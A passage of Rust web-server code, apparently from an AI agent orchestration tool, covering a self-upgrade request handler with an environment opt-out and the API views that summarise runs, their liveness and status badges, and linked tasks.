3598        return finish_upgrade_request(
3599            ui,
3600            upgrade_checked_for(
3601                ui,
3602                env!("CARGO_PKG_VERSION").into(),
3603                Ok(Some(latest)),
3604                trigger,
3605            ),
3606        );
3607    }
3608    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3609}
3610
3611fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3612    match result {
3613        Ok(out) => {
3614            *ui.upgrade_request_error
3615                .lock()
3616                .unwrap_or_else(PoisonError::into_inner) = None;
3617            out.into_response()
3618        }
3619        Err(error) if error.status != StatusCode::CONFLICT => {
3620            let failure = UpgradeRequestFailure::new(error.message);
3621            *ui.upgrade_request_error
3622                .lock()
3623                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3624            let mut response = (error.status, Json(&failure)).into_response();
3625            if let Some(value) = failure
3626                .retry_after_secs
3627                .and_then(|secs| secs.to_string().parse().ok())
3628            {
3629                response.headers_mut().insert("retry-after", value);
3630            }
3631            response
3632        }
3633        Err(error) => error.into_response(),
3634    }
3635}
3636
3637async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3638    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3639        return Err(ApiError::conflict(
3640            "an upgrade is already in progress (this process started one and it \
3641             has not finished or failed yet)",
3642        ));
3643    }
3644    let recorded = updater::read_progress(&ui.home);
3645    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3646        return Err(ApiError::conflict(format!(
3647            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3648             stays stuck, restart the deck; on start it settles a stale record.",
3649            p.stage.as_str(),
3650            p.from,
3651            p.to.as_deref().unwrap_or("?"),
3652        )));
3653    }
3654
3655    // The same kill switch the background check honours (`disabled_by_env`),
3656    // checked before anything else for the same reason it is read before the
3657    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3658    // contact GitHub from this process", and a button press must not
3659    // override that any more than a broken `magi.toml` may.
3660    if crate::updater::disabled_by_env() {
3661        return Ok((
3662            StatusCode::OK,
3663            Json(UpgradeView {
3664                from: env!("CARGO_PKG_VERSION").to_owned(),
3665                to: None,
3666                detail: format!(
3667                    "Automatic updates are disabled by {}. Nothing was parked \
3668                     and nothing restarted.",
3669                    crate::updater::NO_AUTOUPDATE_ENV
3670                ),
3671            }),
3672        ));
3673    }
3674
3675    // Check before disturbing listeners or scheduling: no available update
3676    // means there is no reason to restart anything.
3677    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3678    let from = env!("CARGO_PKG_VERSION").to_owned();
3679    let latest = match crate::updater::Checker::new(&cfg.update) {
3680        Some(checker) => checker.newer_release().await,
3681        None => Ok(None),
3682    };
3683    upgrade_checked(ui, from, latest)
3684}
3685
3686fn upgrade_checked(
3687    ui: &Arc<Ui>,
3688    from: String,
3689    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3690) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3691    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3692}
3693
3694fn upgrade_checked_for(
3695    ui: &Arc<Ui>,
3696    from: String,
3697    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3698    trigger: updater::UpgradeTrigger,
3699) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3700    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3701    let Some(latest) = latest else {
3702        return Ok((
3703            StatusCode::OK,
3704            Json(UpgradeView {
3705                from,
3706                to: None,
3707                detail: "Already on the newest release. Nothing was parked \
3708                         and nothing restarted."
3709                    .to_owned(),
3710            }),
3711        ));
3712    };
3713
3714    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3715
3716    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3717    // poll must see a `Downloading` stage immediately, not whenever the
3718    // spawned task happens to get scheduled.
3719    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3720    progress.trigger = trigger;
3721    updater::write_progress_logged(&ui.home, &progress);
3722
3723    let home = ui.home.clone();
3724    ui.upgrade_spawned
3725        .store(true, std::sync::atomic::Ordering::SeqCst);
3726    let spawned = Arc::clone(&ui.upgrade_spawned);
3727    let runner = ui.upgrade_runner;
3728    let failed = ui.auto_failed_tag.clone();
3729    let tag = latest.tag_name.clone();
3730    tokio::spawn(async move {
3731        if let Err(e) = runner(home.clone()).await {
3732            if trigger == updater::UpgradeTrigger::Auto {
3733                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3734            }
3735            tracing::error!("the upgrade did not complete: {e:#}");
3736            // A failure of this attempt says nothing about a handover an
3737            // earlier request already has in flight; checked and written
3738            // under the progress lock.
3739            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3740            // Release only after failure bookkeeping, before accepting a retry.
3741            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3742        }
3743    });
3744
3745    Ok((
3746        StatusCode::ACCEPTED,
3747        Json(UpgradeView {
3748            from,
3749            to: Some(latest.tag_name),
3750            detail,
3751        }),
3752    ))
3753}
3754
3755/// Replace the binary, then ask [`serve`] to hand the address over.
3756///
3757/// Separated from the handler so the 202 is already on its way, and separated
3758/// from the spawn so the successor starts only after the listener is dropped.
3759async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3760    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3761    // hang the upgrade for as long as the process lives.
3762    crate::updater::run_self_update(true, false, true).await?;
3763    updater::log_step(&home, "binary replaced - recording the replaced stage");
3764    if let Some(mut progress) = updater::read_progress(&home) {
3765        progress.advance(updater::Stage::Replaced);
3766        updater::write_progress_logged(&home, &progress);
3767    }
3768    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3769    HANDOVER.notify_one();
3770    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3771    Ok(())
3772}
3773
3774/// One row in the run list.
3775///
3776/// The list route returns this rather than whole `RunState`s: the summary of a
3777/// run is a few hundred bytes and the state is megabytes, and the difference
3778/// is what makes the history usable on a mobile link.
3779#[derive(Debug, Serialize)]
3780struct RunSummary {
3781    id: String,
3782    short: String,
3783    status: String,
3784    done: bool,
3785    instruction: String,
3786    title: String,
3787    repo: String,
3788    repo_name: String,
3789    created_at: String,
3790    updated_at: String,
3791    candidates: usize,
3792    viable: usize,
3793    judges: usize,
3794    winner: Option<char>,
3795    reviews: usize,
3796    quota_losses: usize,
3797    event: Option<String>,
3798    /// The later attempt at the same task that replaced this one, if any.
3799    ///
3800    /// Two cards with one title is otherwise unreadable: this is what lets
3801    /// the deck say "superseded by 4043" on the older of the pair.
3802    superseded_by: Option<String>,
3803    /// Blocked on a question nobody has answered.
3804    ///
3805    /// Derived from the question store rather than stored on the run: an agent
3806    /// calling `magi ask` blocks mid-node, and writing a status from there
3807    /// would race the graph's own save of `run.json` and be overwritten at the
3808    /// next node boundary. Asking the store is always true and never races.
3809    waiting: bool,
3810    /// Whether the process recorded as driving this run can still be proven
3811    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3812    /// rather than presenting its last graph node as still in flight.
3813    live: crate::run::Liveness,
3814    /// The land loop's last look at the pull request, when there is one.
3815    pr: Option<crate::run::PrRecord>,
3816    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3817    /// design — never picked up by the PR-polling merge watcher, unlike an
3818    /// ordinary `Ready` that may still be a live landing candidate. See
3819    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3820    /// re-deriving the same check from `status` and `merge.mode` itself.
3821    unmerged_by_design: bool,
3822    /// Derived presentation status matching [`RunDetailView::display_status`].
3823    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3824    #[serde(default)]
3825    display_status: String,
3826    /// What the status badge shows: `display_status`, or `superseded` for a
3827    /// non-live run a later attempt replaced. See [`run_badge_status`].
3828    #[serde(default)]
3829    badge_status: String,
3830    /// Who started the run, as the one label every surface shares; the
3831    /// "origin unknown" wording when the record predates origins.
3832    origin_label: String,
3833}
3834
3835impl RunSummary {
3836    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3837        Self {
3838            id: state.id.clone(),
3839            short: state.short().to_owned(),
3840            status: status_word(state.status),
3841            done: state.status.done(),
3842            unmerged_by_design: state.unmerged_by_design(),
3843            display_status: run_display_status(state, waiting, live),
3844            badge_status: run_display_status(state, waiting, live),
3845            instruction: state.instruction.clone(),
3846            title: title_from(&state.instruction, TITLE_MAX),
3847            repo: state.repo.display().to_string(),
3848            repo_name: state
3849                .repo
3850                .file_name()
3851                .map(|n| n.to_string_lossy().into_owned())
3852                .unwrap_or_default(),
3853            created_at: state.created_at.to_string(),
3854            updated_at: state.updated_at.to_string(),
3855            candidates: state.candidates.len(),
3856            viable: state.viable().len(),
3857            judges: state.config.graph.judges,
3858            winner: state.winner().map(|c| c.label),
3859            reviews: state.reviews.len(),
3860            quota_losses: state.quota.len(),
3861            event: state
3862                .verification_blocking_cause()
3863                .or_else(|| state.events.last().map(|e| e.message.clone())),
3864            waiting,
3865            live,
3866            // Filled in by the list route, which is the only place that can
3867            // see a task's other attempts.
3868            superseded_by: None,
3869            pr: state.pr.clone(),
3870            origin_label: crate::run::origin_label(state.origin.as_ref()),
3871        }
3872    }
3873}
3874
3875/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3876/// the same string `serde` writes for the status inside a full run.
3877fn status_word(status: RunStatus) -> String {
3878    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3879    // was a third way of naming the same statuses, and one that changed
3880    // silently with a derive.
3881    status.as_str().to_owned()
3882}
3883
3884/// The presentation status for a run, unified across summaries and details.
3885///
3886/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3887/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3888/// runs awaiting operator answers.
3889fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3890    if waiting {
3891        return "waiting".to_owned();
3892    }
3893    if state.unmerged_by_design() {
3894        return "unmerged".to_owned();
3895    }
3896    if !state.status.done() && live == crate::run::Liveness::Dead {
3897        // The driver claim clears this flag before saving another event.
3898        // A previous park event can therefore outlive a resumed driver.
3899        if state.parked {
3900            return "parked".to_owned();
3901        }
3902        return "stale".to_owned();
3903    }
3904    status_word(state.status)
3905}
3906
3907/// The word a run's status badge shows: `display_status`, except that a
3908/// non-terminal run which is not provably live and was replaced by a later
3909/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3910///
3911/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3912/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3913/// own word, so superseded never claims more than "not live".
3914fn run_badge_status(
3915    state: &RunState,
3916    display_status: &str,
3917    live: crate::run::Liveness,
3918    superseded: bool,
3919) -> String {
3920    if state.status.done() || live == crate::run::Liveness::Live {
3921        return display_status.to_owned();
3922    }
3923    if superseded {
3924        return "superseded".to_owned();
3925    }
3926    // A dead run's `display_status` is `stale`, except that a deliberate park
3927    // and an open owner question keep their own word: neither is a crash, and
3928    // the question still needs an answer. Anything else dead reads `stale`.
3929    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3930        return "stale".to_owned();
3931    }
3932    display_status.to_owned()
3933}
3934
3935/// `?limit=`, clamped by the handler.
3936#[derive(Debug, Deserialize)]
3937struct ListQuery {
3938    #[serde(default)]
3939    limit: Option<usize>,
3940    /// Exact ids only; an empty value requests no rows (except queue blockers).
3941    ids: Option<String>,
3942}
3943
3944impl ListQuery {
3945    fn contains(&self, id: &str) -> bool {
3946        self.ids
3947            .as_ref()
3948            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3949    }
3950}
3951
3952async fn runs_list(
3953    State(ui): State<Arc<Ui>>,
3954    Query(q): Query<ListQuery>,
3955) -> ApiResult<Json<Vec<RunSummary>>> {
3956    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3957    blocking(move || {
3958        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3959        let states = run_ids(&ui.runs)
3960            .into_iter()
3961            // A run whose state cannot be read is skipped, not fatal: a run
3962            // killed mid-write must not blank the history of every other one.
3963            // The detail route still explains it, which is where an operator
3964            // asking "what happened to that run" ends up.
3965            .filter_map(|id| read_run(&ui.runs, &id).ok())
3966            .take(limit)
3967            .filter(|run| q.contains(&run.id));
3968        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3969        let summaries = summarize(
3970            states,
3971            &open_runs,
3972            &claimed,
3973            &superseded,
3974            |p| probe.borrow_mut().status(p),
3975            |p| probe.borrow_mut().started_at(p),
3976        );
3977        Ok(Json(summaries))
3978    })
3979    .await
3980}
3981
3982/// Everything the per-run rows share, read once: runs with an open question,
3983/// runs a live daemon claims, and the superseded map. Asking per run re-read
3984/// every question file and the daemon status file for each of hundreds of
3985/// runs, and spawned a process probe per run on Windows.
3986fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3987    let open_runs: HashSet<String> = ui
3988        .questions
3989        .list()
3990        .into_iter()
3991        .filter(|q| q.status.open())
3992        .map(|q| q.run)
3993        .collect();
3994    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3995        .into_iter()
3996        .map(|c| c.run)
3997        .collect();
3998    (open_runs, claimed, ui.queue.superseded())
3999}
4000
4001/// The rows of the run list, given everything that is shared between them.
4002///
4003/// Pure over its inputs so a test can count how often the process queries are
4004/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4005/// takes, called at most once per run.
4006fn summarize<I, S, D>(
4007    states: I,
4008    open_runs: &HashSet<String>,
4009    claimed: &HashSet<String>,
4010    superseded: &HashMap<String, String>,
4011    mut status_q: S,
4012    mut identity_q: D,
4013) -> Vec<RunSummary>
4014where
4015    I: IntoIterator<Item = RunState>,
4016    S: FnMut(u32) -> Option<bool>,
4017    D: FnMut(u32) -> Option<String>,
4018{
4019    states
4020        .into_iter()
4021        .map(|state| {
4022            let waiting = open_runs.contains(&state.id);
4023            let live =
4024                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4025            let mut row = RunSummary::of(&state, waiting, live);
4026            row.superseded_by = state
4027                .pr_taken_over_by
4028                .as_ref()
4029                .or_else(|| superseded.get(&state.id))
4030                .map(String::as_str)
4031                .map(crate::run::short_of)
4032                .map(str::to_owned);
4033            row.badge_status = run_badge_status(
4034                &state,
4035                &row.display_status,
4036                live,
4037                row.superseded_by.is_some(),
4038            );
4039            row
4040        })
4041        .collect()
4042}
4043
4044/// A run as the detail route hands it to the phone.
4045///
4046/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4047/// the instruction as markdown, and the raw `instruction` field this struct
4048/// still carries (unchanged) is what a client wanting the exact bytes reads
4049/// instead.
4050#[derive(Debug, Serialize)]
4051struct RunDetailView {
4052    stop_reason: Option<String>,
4053    #[serde(flatten)]
4054    state: RunState,
4055    instruction_md: Vec<md::Node>,
4056    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4057    /// mirror the records they come from, index for index; the raw strings
4058    /// stay in `state` and decide whether a block is shown at all.
4059    #[serde(flatten)]
4060    prose_md: RunProseMd,
4061    /// Whether a process is actually still driving this run: `"live"`,
4062    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4063    ///
4064    /// `state.active` (flattened in above) is only ever cleared by the
4065    /// process that populated it; a killed one leaves its last wave's
4066    /// entries behind. Carrying this alongside is what lets the phone rail
4067    /// tell "this seat is still answering" from "this seat was still
4068    /// answering when whatever was driving this run died" without a second
4069    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4070    /// proof of either. A string rather than a bool on purpose: a daemon
4071    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4072    /// and neither proven is `"unknown"` — folding that third case into
4073    /// either end of a bool is exactly the wrong call for a phone screen an
4074    /// operator uses to decide whether to wait or to act.
4075    live: crate::run::Liveness,
4076    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4077    /// alongside the flattened `state` rather than inside it, since
4078    /// `RunState` has no business knowing which of its own methods a caller
4079    /// wants serialized.
4080    unmerged_by_design: bool,
4081    /// Same field and meaning as [`RunSummary::waiting`].
4082    #[serde(default)]
4083    waiting: bool,
4084    /// Same derived presentation status as [`RunSummary::display_status`].
4085    #[serde(default)]
4086    display_status: String,
4087    /// Same field and meaning as [`RunSummary::badge_status`].
4088    #[serde(default)]
4089    badge_status: String,
4090    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4091    /// terminal. The client's `landView` keys on it, and the flattened state
4092    /// has no such field, so without it a finished run's stale `open` PR
4093    /// would be painted as live on the detail page.
4094    done: bool,
4095    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4096    /// route fills it from [`Queue::superseded`], the detail route from
4097    /// [`Queue::superseded_by`], and both read the same underlying task
4098    /// order. Without this the detail page could only ever show a red
4099    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4100    /// with nothing anywhere saying so — an operator opening it had no way
4101    /// to tell "this is done elsewhere" from "this still needs a retry".
4102    superseded_by: Option<String>,
4103    /// The task's current attempt, when this run is an older one — resolved
4104    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4105    /// the client to derive.
4106    ///
4107    /// Three things a client cannot safely do on its own drove this onto the
4108    /// server: it has to name the chain's *current head*, not just the next
4109    /// attempt (`superseded_by` above), because an intermediate retry in a
4110    /// longer chain can itself still be unresolved; it has to resolve to a
4111    /// real id rather than a short id a client would have to guess a full id
4112    /// from, which is ambiguous the moment two runs share a suffix; and it
4113    /// has to read that head's own status directly, because whether a run
4114    /// list a client happens to have cached even contains that attempt
4115    /// depends on a page limit this route knows nothing about.
4116    latest_attempt: Option<LatestAttempt>,
4117    /// The queue task this run belongs to, so the detail page can link back
4118    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4119    task: Option<TaskRef>,
4120    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4121    /// run recorded before origins existed. `origin` itself (flattened in
4122    /// with `state`) is `null` in that case.
4123    origin_label: String,
4124    /// Each recorded pass over this run, with the cause it stopped for. Empty
4125    /// for a run from before passes were kept: its earlier passes are unknown.
4126    pass_views: Vec<PassView>,
4127}
4128
4129/// A task named from a run's detail page.
4130#[derive(Debug, Serialize)]
4131struct TaskRef {
4132    id: String,
4133    short: String,
4134    title: String,
4135    /// [`Source::label`], e.g. `chat@a1b2`.
4136    source_label: String,
4137    /// Where the task came from, when that place has a page; see [`source_link`].
4138    source_link: Option<SourceLink>,
4139    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4140    status: &'static str,
4141    attempts: usize,
4142    max_attempts: usize,
4143    /// This run is the last entry of the task's run list.
4144    is_latest: bool,
4145    /// The task's newest run, when it is not this one.
4146    latest: Option<RunBrief>,
4147    /// The run that finished a `done` task (merged, or already in the base).
4148    finished_by: Option<RunBrief>,
4149    /// The task is `done` but no run on record finished it: closed by hand.
4150    closed_by_hand: bool,
4151}
4152
4153/// The page that filed a task, as the UI links to it.
4154#[derive(Debug, PartialEq, Eq, Serialize)]
4155struct SourceLink {
4156    /// `chat` (a conversation) or `run` (a run's node).
4157    kind: &'static str,
4158    /// The full id, never the short one in the label.
4159    id: String,
4160    /// The hash route that opens it.
4161    href: String,
4162}
4163
4164/// Percent-encode everything outside the URL-unreserved set.
4165fn encode_segment(raw: &str) -> String {
4166    let mut out = String::with_capacity(raw.len());
4167    for b in raw.bytes() {
4168        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4169            out.push(b as char);
4170        } else {
4171            out.push_str(&format!("%{b:02X}"));
4172        }
4173    }
4174    out
4175}
4176
4177/// The one place that decides where a task's source links to. A chat
4178/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4179/// a person or an imported issue has no page, so no link.
4180fn source_link(source: &Source) -> Option<SourceLink> {
4181    let Source::Agent { run, node } = source else {
4182        return None;
4183    };
4184    let (kind, route) = if node == crate::queue::CHAT_NODE {
4185        ("chat", "chat")
4186    } else {
4187        ("run", "runs")
4188    };
4189    Some(SourceLink {
4190        kind,
4191        id: run.clone(),
4192        href: id_links::page_href(route, run),
4193    })
4194}
4195
4196/// The parent task of a follow-up, when its file can still be read.
4197#[derive(Debug, Serialize, PartialEq)]
4198struct FollowUpParent {
4199    id: String,
4200    short: String,
4201    title: String,
4202    /// The parent's own status (`TaskStatus::as_str`).
4203    status: &'static str,
4204    href: String,
4205}
4206
4207/// The merged run a follow-up was filed from.
4208#[derive(Debug, Serialize, PartialEq)]
4209struct FollowUpRun {
4210    id: String,
4211    short: String,
4212    /// `None` when the run's record cannot be read.
4213    status: Option<&'static str>,
4214    /// `None` unless the record could be read: never a dead link.
4215    href: Option<String>,
4216}
4217
4218/// Where a follow-up task came from, resolved once per task page so the flow
4219/// chart and the detail block cannot disagree. See [`followup_origin`].
4220#[derive(Debug, Serialize, PartialEq)]
4221struct FollowUpOrigin {
4222    /// Present only when `origin_task` is set and that task still exists.
4223    parent: Option<FollowUpParent>,
4224    run: FollowUpRun,
4225    /// The merged pull request, verbatim. Not an href: the client passes it
4226    /// through `forgeUrl()` and renders text when that refuses it (the one
4227    /// exception to "the href rule is Rust's alone", since a forge URL is
4228    /// data from a record, not a route).
4229    pr: String,
4230    findings: Vec<String>,
4231    generation: u32,
4232}
4233
4234/// The one place that decides what a follow-up links to. A parent that cannot
4235/// be read (gone, or an id that names nothing) is `None`, never an error.
4236fn followup_origin(
4237    fu: &crate::queue::FollowUp,
4238    task: impl Fn(&str) -> Option<Task>,
4239    run: impl Fn(&str) -> Option<RunState>,
4240) -> FollowUpOrigin {
4241    let parent = fu
4242        .origin_task
4243        .as_deref()
4244        .and_then(task)
4245        .map(|t| FollowUpParent {
4246            short: t.short().to_owned(),
4247            href: format!("#/tasks/{}", encode_segment(&t.id)),
4248            status: t.status.as_str(),
4249            title: t.title,
4250            id: t.id,
4251        });
4252    let state = run(&fu.run);
4253    FollowUpOrigin {
4254        parent,
4255        run: FollowUpRun {
4256            short: run::short_of(&fu.run).to_owned(),
4257            status: state.as_ref().map(|s| s.status.as_str()),
4258            href: state
4259                .is_some()
4260                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4261            id: fu.run.clone(),
4262        },
4263        pr: fu.pr.clone(),
4264        findings: fu.findings.clone(),
4265        generation: fu.generation,
4266    }
4267}
4268
4269/// Another run of the same task, as named from a run's detail page.
4270#[derive(Debug, Serialize)]
4271struct RunBrief {
4272    id: String,
4273    short: String,
4274    /// `None` when the run's record cannot be read.
4275    status: Option<&'static str>,
4276    /// The task-page wording for how that pass ended.
4277    outcome: String,
4278    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4279    badge: Option<String>,
4280}
4281
4282/// The task's overall outcome as seen from `this_run`'s page, classified with
4283/// the same exits the task page's flowchart uses.
4284fn task_outcome(
4285    task: &Task,
4286    this_run: &str,
4287    max_attempts: usize,
4288    read: impl Fn(&str) -> Option<RunState>,
4289) -> TaskRef {
4290    let max_attempts = task.effective_attempt_limit(max_attempts);
4291    let history = task_history(task, read);
4292    let brief = |h: &TaskRunView| RunBrief {
4293        id: h.id.clone(),
4294        short: h.short.clone(),
4295        status: h.status,
4296        outcome: h.exit.edge_label(h.status),
4297        badge: h.badge.clone(),
4298    };
4299    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4300    let latest = if is_latest {
4301        None
4302    } else {
4303        history.last().map(brief)
4304    };
4305    let done = task.status == TaskStatus::Done;
4306    let finished_by = done
4307        .then(|| {
4308            history
4309                .iter()
4310                .rev()
4311                .find(|h| {
4312                    matches!(
4313                        h.exit,
4314                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4315                    )
4316                })
4317                .map(brief)
4318        })
4319        .flatten();
4320    TaskRef {
4321        short: task.short().to_owned(),
4322        title: task.title.clone(),
4323        id: task.id.clone(),
4324        source_label: task.source.label(),
4325        source_link: source_link(&task.source),
4326        status: task.status.as_str(),
4327        attempts: task.attempts,
4328        max_attempts,
4329        is_latest,
4330        latest,
4331        closed_by_hand: done && finished_by.is_none(),
4332        finished_by,
4333    }
4334}
4335
4336/// The task's current attempt, as seen from an older one's detail page.
4337#[derive(Debug, Serialize)]
4338struct LatestAttempt {
4339    id: String,
4340    short: String,
4341    /// Whether this attempt itself settled with a result nobody needs to
4342    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4343    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4344    /// unconfirmed claim that no change was needed, which is exactly why it
4345    /// settles the task through `Held` rather than `Done` and still waits on
4346    /// a human to check the evidence; showing an older run as "finished
4347    /// elsewhere" on the strength of an unverified claim would bury the
4348    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4349    /// in-flight status are excluded because they are exactly the
4350    /// unresolved states this field exists to tell apart from a real finish.
4351    resolved: bool,
4352    /// The attempt's own recorded status, so the page can say where it
4353    /// stands while it is not resolved yet.
4354    status: RunStatus,
4355    /// Whether that status is terminal (nothing is still running it).
4356    done: bool,
4357}
4358
4359/// Markdown for the free-text prose of a run, parallel to `RunState`.
4360#[derive(Debug, Default, Serialize)]
4361struct RunProseMd {
4362    /// `None` when the run has no design deliberation.
4363    advice_md: Option<AdviceMd>,
4364    /// One entry per candidate: the summary.
4365    candidate_summaries_md: Vec<Vec<md::Node>>,
4366    /// One entry per review round, in `reviews` order.
4367    reviews_md: Vec<RoundMd>,
4368}
4369
4370#[derive(Debug, Default, Serialize)]
4371struct AdviceMd {
4372    synthesis: Vec<md::Node>,
4373    /// One per record; empty for a seat with no proposal.
4374    approaches: Vec<Vec<md::Node>>,
4375}
4376
4377#[derive(Debug, Default, Serialize)]
4378struct RoundMd {
4379    /// One per reviewer record.
4380    reviewers: Vec<ReviewerMd>,
4381    /// One per `reconsideration` entry: the reason.
4382    reconsideration: Vec<Vec<md::Node>>,
4383    fix: Option<FixMd>,
4384}
4385
4386#[derive(Debug, Default, Serialize)]
4387struct ReviewerMd {
4388    summary: Vec<md::Node>,
4389    /// One per finding, in recorded order (not the display order).
4390    findings: Vec<Vec<md::Node>>,
4391}
4392
4393#[derive(Debug, Default, Serialize)]
4394struct FixMd {
4395    notes: Vec<md::Node>,
4396    /// One per rejection: the argument.
4397    rejected: Vec<Vec<md::Node>>,
4398}
4399
4400/// Parse a run's agent-written prose; a pure function of the state.
4401fn run_prose_md(state: &RunState) -> RunProseMd {
4402    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4403    RunProseMd {
4404        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4405            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4406            approaches: a
4407                .records
4408                .iter()
4409                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4410                .collect(),
4411        }),
4412        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4413        reviews_md: state
4414            .reviews
4415            .iter()
4416            .map(|round| RoundMd {
4417                reviewers: round
4418                    .reviews
4419                    .iter()
4420                    .map(|rec| ReviewerMd {
4421                        summary: nodes(&rec.summary),
4422                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4423                    })
4424                    .collect(),
4425                reconsideration: round
4426                    .reconsideration
4427                    .iter()
4428                    .map(|rv| nodes(&rv.reason))
4429                    .collect(),
4430                fix: round.fix.as_ref().map(|fix| FixMd {
4431                    notes: nodes(&fix.notes),
4432                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4433                }),
4434            })
4435            .collect(),
4436    }
4437}
4438
4439impl RunDetailView {
4440    fn of(
4441        state: RunState,
4442        waiting: bool,
4443        live: crate::run::Liveness,
4444        superseded_by: Option<String>,
4445        latest_attempt: Option<LatestAttempt>,
4446        task: Option<TaskRef>,
4447    ) -> Self {
4448        let display_status = run_display_status(&state, waiting, live);
4449        let stop_reason = crate::stop_reason::of(
4450            &state,
4451            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4452        );
4453        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4454        Self {
4455            stop_reason,
4456            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4457            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4458            prose_md: run_prose_md(&state),
4459            origin_label: crate::run::origin_label(state.origin.as_ref()),
4460            live,
4461            unmerged_by_design: state.unmerged_by_design(),
4462            waiting,
4463            display_status,
4464            badge_status,
4465            done: state.status.done(),
4466            superseded_by,
4467            latest_attempt,
4468            task,
4469            state,
4470        }
4471    }
4472}
4473
4474/// Core content needs neither the queue nor question/liveness evidence.
4475async fn run_core(
4476    State(ui): State<Arc<Ui>>,
4477    Path(id): Path<String>,
4478) -> ApiResult<Json<RunDetailView>> {
4479    blocking(move || {
4480        let id = resolve_run(&ui.runs, &id)?;
4481        let state = read_run(&ui.runs, &id)?;
4482        Ok(Json(RunDetailView::of(
4483            state,
4484            false,
4485            crate::run::Liveness::Unknown,
4486            None,
4487            None,
4488            None,
4489        )))
4490    })
4491    .await
4492}
4493
4494async fn run_detail(
4495    State(ui): State<Arc<Ui>>,
4496    Path(id): Path<String>,
4497) -> ApiResult<Json<RunDetailView>> {
4498    blocking(move || {
4499        let id = resolve_run(&ui.runs, &id)?;
4500        let state = read_run(&ui.runs, &id)?;
4501        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4502        let live = state.liveness(daemon_claims);
4503        crate::queue::record_ids(ui.questions.root(), "json")?;
